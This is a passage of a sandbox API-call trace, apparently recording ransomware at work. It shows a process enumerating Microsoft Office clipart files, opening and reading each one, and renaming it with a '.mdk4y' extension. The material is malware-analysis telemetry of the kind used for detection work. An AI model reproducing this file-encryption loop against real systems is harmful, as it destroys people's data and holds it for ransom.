(lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02578_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02578_.wmf.mdk4y")) returned 1 [0174.340] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.340] AreFileApisANSI () returned 1 [0174.340] GetACP () returned 0x4e4 [0174.340] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02617_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02617_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.340] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.341] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5fec, lpOverlapped=0x0) returned 1 [0174.358] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02617_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02617_.wmf.mdk4y")) returned 1 [0174.359] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.359] AreFileApisANSI () returned 1 [0174.359] GetACP () returned 0x4e4 [0174.359] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02790_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02790_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.359] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.359] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7f4e, lpOverlapped=0x0) returned 1 [0174.361] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02790_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02790_.wmf.mdk4y")) returned 1 [0174.362] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.362] AreFileApisANSI () returned 1 [0174.362] GetACP () returned 0x4e4 [0174.362] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02791_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02791_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.362] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.362] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x430c, lpOverlapped=0x0) returned 1 [0174.364] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02791_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02791_.wmf.mdk4y")) returned 1 [0174.365] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.365] AreFileApisANSI () returned 1 [0174.365] GetACP () returned 0x4e4 [0174.365] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02793_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02793_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.365] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.366] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5b70, lpOverlapped=0x0) returned 1 [0174.367] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02793_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02793_.wmf.mdk4y")) returned 1 [0174.368] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.368] AreFileApisANSI () returned 1 [0174.368] GetACP () returned 0x4e4 [0174.368] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02794_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02794_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.368] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.369] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4b7a, lpOverlapped=0x0) returned 1 [0174.370] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02794_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02794_.wmf.mdk4y")) returned 1 [0174.371] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.371] AreFileApisANSI () returned 1 [0174.371] GetACP () returned 0x4e4 [0174.371] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02862_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02862_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.371] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.372] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1262e, lpOverlapped=0x0) returned 1 [0174.374] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02862_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02862_.wmf.mdk4y")) returned 1 [0174.374] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.374] AreFileApisANSI () returned 1 [0174.374] GetACP () returned 0x4e4 [0174.375] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02886_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02886_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.375] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.375] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x967a, lpOverlapped=0x0) returned 1 [0174.377] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02886_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02886_.wmf.mdk4y")) returned 1 [0174.378] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.378] AreFileApisANSI () returned 1 [0174.378] GetACP () returned 0x4e4 [0174.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SO02958_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SO02958_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.378] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.378] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x22f4, lpOverlapped=0x0) returned 1 [0174.380] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO02958_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so02958_.wmf.mdk4y")) returned 1 [0174.381] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.381] AreFileApisANSI () returned 1 [0174.381] GetACP () returned 0x4e4 [0174.381] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPACE_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SPACE_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0174.381] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.381] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x107b, lpOverlapped=0x0) returned 1 [0174.404] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.mdk4y")) returned 1 [0174.405] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.405] AreFileApisANSI () returned 1 [0174.405] GetACP () returned 0x4e4 [0174.405] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SPRNG_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SPRNG_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0174.405] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.406] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1a2c, lpOverlapped=0x0) returned 1 [0174.410] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.mdk4y")) returned 1 [0174.411] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.411] AreFileApisANSI () returned 1 [0174.411] GetACP () returned 0x4e4 [0174.411] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STUBBY1.WMF", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STUBBY1.WMFD", lpUsedDefaultChar=0x37df4c) returned 11 [0174.411] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.412] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbd6, lpOverlapped=0x0) returned 1 [0174.433] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.mdk4y")) returned 1 [0174.435] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.435] AreFileApisANSI () returned 1 [0174.435] GetACP () returned 0x4e4 [0174.435] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STUBBY2.WMF", cchWideChar=11, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="STUBBY2.WMF", lpUsedDefaultChar=0x37df4c) returned 11 [0174.435] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.435] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa16, lpOverlapped=0x0) returned 1 [0174.461] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY2.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby2.wmf.mdk4y")) returned 1 [0174.462] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.462] AreFileApisANSI () returned 1 [0174.462] GetACP () returned 0x4e4 [0174.462] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SUMER_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SUMER_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0174.462] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.463] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x36dc, lpOverlapped=0x0) returned 1 [0174.473] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.mdk4y")) returned 1 [0174.475] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.475] AreFileApisANSI () returned 1 [0174.475] GetACP () returned 0x4e4 [0174.475] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SWEST_01.MID", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SWEST_01.MID", lpUsedDefaultChar=0x37df4c) returned 12 [0174.475] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.475] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2135, lpOverlapped=0x0) returned 1 [0174.483] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.mdk4y")) returned 1 [0174.484] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.484] AreFileApisANSI () returned 1 [0174.484] GetACP () returned 0x4e4 [0174.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00110_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00110_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.484] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.485] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4f0, lpOverlapped=0x0) returned 1 [0174.519] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00110_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00110_.wmf.mdk4y")) returned 1 [0174.520] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.520] AreFileApisANSI () returned 1 [0174.520] GetACP () returned 0x4e4 [0174.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00127_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00127_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.521] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.521] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1844, lpOverlapped=0x0) returned 1 [0174.616] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00127_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00127_.wmf.mdk4y")) returned 1 [0174.617] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.617] AreFileApisANSI () returned 1 [0174.617] GetACP () returned 0x4e4 [0174.617] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00132_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00132_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.617] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.619] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x81c, lpOverlapped=0x0) returned 1 [0174.629] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00132_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00132_.wmf.mdk4y")) returned 1 [0174.631] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.631] AreFileApisANSI () returned 1 [0174.631] GetACP () returned 0x4e4 [0174.631] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00170_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00170_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.631] CreateFileA (lpFileName="C:\\Program Files\\Microsoft 